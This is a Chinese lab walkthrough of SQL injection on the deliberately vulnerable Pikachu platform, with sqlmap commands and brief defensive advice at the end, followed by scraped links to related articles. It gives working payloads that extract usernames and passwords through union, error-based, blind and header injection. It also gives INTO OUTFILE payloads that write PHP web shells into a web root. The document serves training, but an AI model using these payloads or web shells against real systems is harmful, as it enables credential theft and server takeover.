Pikahu-SQL注入模块和sqlmap经典用法
一、概述
SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的"数据"拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
在构建代码时,一般会从如下几个方面的策略来防止SQL注入漏洞:
1.对传进SQL语句里面的变量进行过滤,不允许危险字符传入;
2.使用参数化(Parameterized Query 或 Parameterized Statement);
3.还有就是,目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
二、数字型sql注入(post型):
第一步:先输入1
第二步:由于是post型,所以抓包修改为恒成立:
id=1 or 1=1
可以看到,页面返回了所有的数据信息。
三、字符型sql注入(get类型):
第一步:输入
第二步:字符型注入需要闭合sql语句,然后加上恒成立,得到所有数据
kobe' or 1=1 #
四、搜索型注入:
第一步:搜索一个字母k尝试:
查看源码:
可以看到,这里用了搜索的sql语句:select username ,id ,email from member where username like '%$name%'
第二步:同样的道理,可以选择闭合sql语句
k%' or 1=1#:
五、XX型注入:
数据包裹方式不同而已,在之前sql-labs关卡中遇到许多这种,所以在实际中要多测试:
a') or 1=1#
六:联合注入:(以最后一个类型为例)
第一步:判断字段数:a') order by 3#
a') order by 2#
可以知道字段数是2
第二步:使用联合查询语句得到数据库:pikachu
a') union select database(),2#
第三步:查询数据库中的表
x') union select table_schema,table_name from information_schema.tables where table_schema='pikachu'#
第四步:查询users表中的字段名:
x') union select table_name,column_name from information_schema.columns where table_name='users'#
第五步:联合查处得到用户名和密码
a') union select username,password from users#
七、报错注入:
条件:后台没有屏蔽报错信息
常用函数:updatexml() exactvalue() floor()(取整函数)
在之前sqlilabs中做过,其他步骤省略(可以根据上面修改payload)。直接得到用户名和密码:
k') and updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)#
八、insert注入:
插入类型sql语句: insert into member (username ,pw,sex,phonenum,email,address) valuse('hzk','123456',1,123,123,123);
在插入的必填项中:hzk' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
其他步骤相同,复制payload即可。
九、update注入:
先登录进去,然后在修改信息的框中直接填入语句即可,payload和insert的相同:
hzk' or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
十、delete类型注入:
第一步:删除时抓包看一下:
第二步:后台根据id然后删除,发送到repeater,然后改包:
id= 1 or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1)
第三步:因为是在url中,所以需要进行url的编码:
十一、Http Header注入:
登陆之后发现有对头部信息的获取,所以可能存在注入
第一步:抓包:
第二步:修改user-agent或者cookie完成注入:
firefox'or updatexml(1, concat(0x7e,(select (concat_ws('-',username,password)) from pikachu.users limit 0,1) ),1) or '
十二、sql盲注(base on boolian)
利用and构造语句:返回成功正常显示
kobe' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )<112#
返回失败显示
kobe' and ascii( substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1) )》112#
十三、sql盲注(base on time)
payload:kobe' and if((substr(database(),1,1))='p',sleep(5),null )#根据时间的延迟来做判断
用 if 做判断,通过 database 把数据库名称取出来,通过 substr 把数据库第一个字符取出来,和 p 作比较,如果等于p 则暂停5秒钟再返回。
十四、宽字节注入:
14.1 漏洞利用
当我们输入有单引号时被转义为\',无法构造 SQL 语句的时候,可以尝试宽字节注入。
GBK编码中,反斜杠的编码是 "%5c",而 "%df%5c" 是繁体字 "連"。在皮卡丘平台中,将利用 BurpSuite 截获数据包,发送到 Repeater 中,在里面写入payload,当我们用通常的测试 payload时,是无法执行成功的
因为在后台单引号会被转义,在数据库中执行多了反斜杠,可以使用下面的payload,在单引号前面加上%df,绕过这个WAF。
kobe %df' or 1=1#
这样再构造其他的payload就能完成注入
14.2 其他方法
除了上面的方法之外,还有其他的办法,比如暴力破解 一句话木马 sqlmap工具等。
一句话木马的方法之前在sqli-labs记录很详细,说一下满足条件:
1.需要知道写入的远程目录。
2.需要远程目录有写权限。
3.需要数据库开启了secure_file_priv.
14.3 以字符型注入为例,payload:
kobe' union select "<?php @eval($_POST['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm.php"#
可以通过菜刀连接,拿到shell
kobe' union select "<?php @eval($_GET['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm.php"#
通过get型,可以在url中写入语句
kobe' union select "<?php system($_GET['hzk'])?>",2 into outfile "C:\\PhpStudy\\PHPTutorial\\WWW\\mm2.php"#
可以在url中执行cmd命令
十五、sqlmap经典用法:以pikachu布尔盲注为例
使用kail自带的sqlmap:
第一步:找到对应的输入点,在输入框中输入字符得到url:
http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2
第二步:判断是否存在漏洞:
sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2"
第三步:得到数据库:
sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" --current-db
第四步:得到表名:sqlmap -u
"http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu --tables
第五步:得到字段名:sqlmap -u
"http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users --columns
第六步:拿到数据
sqlmap -u "http://192.168.0.105/pikachu/vul/sqli/sqli_blind_b.php?name=123&submit=%E6%9F%A5%E8%AF%A2" -D pikachu -T users -C username,password --dump
第七步:用自带的字典对数据破解:
得到用户名和密码。sqlmap非常方便而且强大。
十六、对sql注入的防范
1、代码层面
(1)对输入进行严格的转义和过滤
(2)使用预处理和参数化(Parameterized)
2、网络层面
(1)通过WAF设备启用防SQL注入策略(类似的防护系统)
(2)云端防护(360网站卫士,阿里云盾等等)
Pikahu-SQL注入模块和sqlmap经典用法的更多相关文章
- 安全攻防之SQL注入(通过sqlmap搞定所有问题)
第一步: sqlmap基于Python,所以首先下载: http://yunpan.cn/QiCBLZtGGTa7U 访问密码 c26e 第二步: 安装Python,将sqlmap解压到Python ...
- sql注入工具:sqlmap命令
sqlmap是一款专业的sql注入工具, 让你告别人工注入, 程序高效自动注入 前提是你有找到注入点 , 工具的官方网站:http://sqlmap.org/ kali系统默认安装sqlmap, 不需 ...
- 靶场sql注入练手----sqlmap篇(纯手打)
靶场地址:封神台 方法一.首先尝试手工找注入点判断 第一步,判断是否存在sql注入漏洞 构造 ?id=1 and 1=1 ,回车,页面返回正常 构造 ?id=1 and 1=2 ,回车,页面不正常,初 ...
- python 防止sql注入字符串拼接的正确用法
在使用pymysql模块时,在使用字符串拼接的注意事项错误用法1 sql='select * from where id="%d" and name="%s" ...
- 初识sql注入及sqlmap
对于sql注入小白的我,上午在红黑联盟的网站上恶补了一下sql注入的基础知识,(走马观花)似乎明白sql注入是怎么一回事,也看了一些关于sqlmap的资料,再次记录一下吧 下面是关于sqlmap这个工 ...
- DVWA学习之SQL注入
DVWA学习之SQL注入 环境工具 dvwa 1.9 phpstudy firefox burpsuite 实验步骤 一.设置安全级别为LOW 1. 登录DVWA,并将安全级别设置为LOW 2. 进入 ...
- SQL注入学习(一)
注入攻击的本质:web应用程序没有过滤用户输入或过滤不严谨,直接把用户输入的恶意数据当做代码执行 两个条件: 1.用户能够控制输入 2.原本程序要执行的代码,拼接了用户输入的数据 注入类型 SQL注入 ...
- 一篇文章带你了解SQL注入
什么是SQL注入? 原理: Web应用程序对用户输入的数据校验处理不严或者根本没有校验,致使用户可以拼接执行SQL命令 危害: 注入可能导致数据丢失泄露或数据破坏.缺乏可审计性,有时甚至能导致完全接管 ...
- 登陆页面Sql注入(绕过)
如图,看到这道题的时候发觉之前做过一个类似的手工注入: 不过这次手注会失败,后台过滤了sql语句里的一些东西,但我们并不知道过滤了什么 到这里我就基本上没辙了,不过查询了资料以后发现sqlmap可以对 ...
随机推荐
- Java:jar包与war包的差异
一般将项目分为两层:服务层和表现层(视图层),通常我们把服务层打包成jar,而把视图层的包打成war包. 仔细对比可以发现: jar包中包含了你写程序的所有服务或者第三方类库,它通常是作为幕后工作者, ...
- 在Java中如何高效判断数组中是否包含某个元素
如何检查一个数组(无序)是否包含一个特定的值?这是一个在Java中经常用到的并且非常有用的操作.同时,这个问题在Stack Overflow中也是一个非常热门的问题.在投票比较高的几个答案中给出了几种 ...
- 学习/etc/group /etc/passwd 和 /etc/shadow
/etc/passwd 管理用户信息的系统文件 /etc/shadow 管理用户密码信息的系统文件 /etc/group 管理用户组信息的系统文件 1./etc/group 将用户分组是Linux系统 ...
- Laravel + Swoole 打造IM简易聊天室
最近在学习Swoole,利用Swoole扩展让PHP生动了不少,本篇就来Swoole开发一款简易的IM聊天室 应用场景:实现简单的即时消息聊天室. (一)扩展安装 pecl install swool ...
- ESP32智能配网笔记
基于ESP-IDF4.1 #include <string.h> #include <stdlib.h> #include "freertos/FreeRTOS.h& ...
- 深入理解索引和AVL树、B-树、B+树的关系
目录 什么是索引 索引的分类 索引和AVL树.B-树.B+树的关系 AVL树.红黑树 B-树 B+树 SQL和NoSQL索引 什么是索引 索引时数据库的一种数据结构,数据库与索引的关系可以看作书籍和目 ...
- Macbook(M1版)的用户看过来,.net 6 Preview 6支持Apple Silicon for macOS
本文由葡萄城技术团队翻译 转载请注明出处:葡萄城官网,葡萄城为开发者提供专业的开发工具.解决方案和服务,赋能开发者. 我们很高兴发布.NET6预览的第6版,本次预览是倒数第二次预览了.在本次预览发布之 ...
- mac-webui-selenium下的webdriver selenium.common.exceptions.WebDriverException: Message: 'chromedriver' executable needs to be in PATH
from selenium import webdriver def test1(): url='http://www.baidu.com' driver=webdriver.Chrome(" ...
- 【学习笔记】Github的使用
在github上上传项目代码 在github官网上新建自己的仓库,需要写好标题和说明文件,然后复制自己的仓库地址 在要上传到的本地project中右键, Git bash here,接着输入 git ...
- uni-app&H5&Android混合开发三 || uni-app调用Android原生方法的三种方式
前言: 关于H5的调用Android原生方法的方式有很多,在该片文章中我主要简单介绍三种与Android原生方法交互的方式. 一.H5+方法调用android原生方法 H5+ Android开发规范官 ...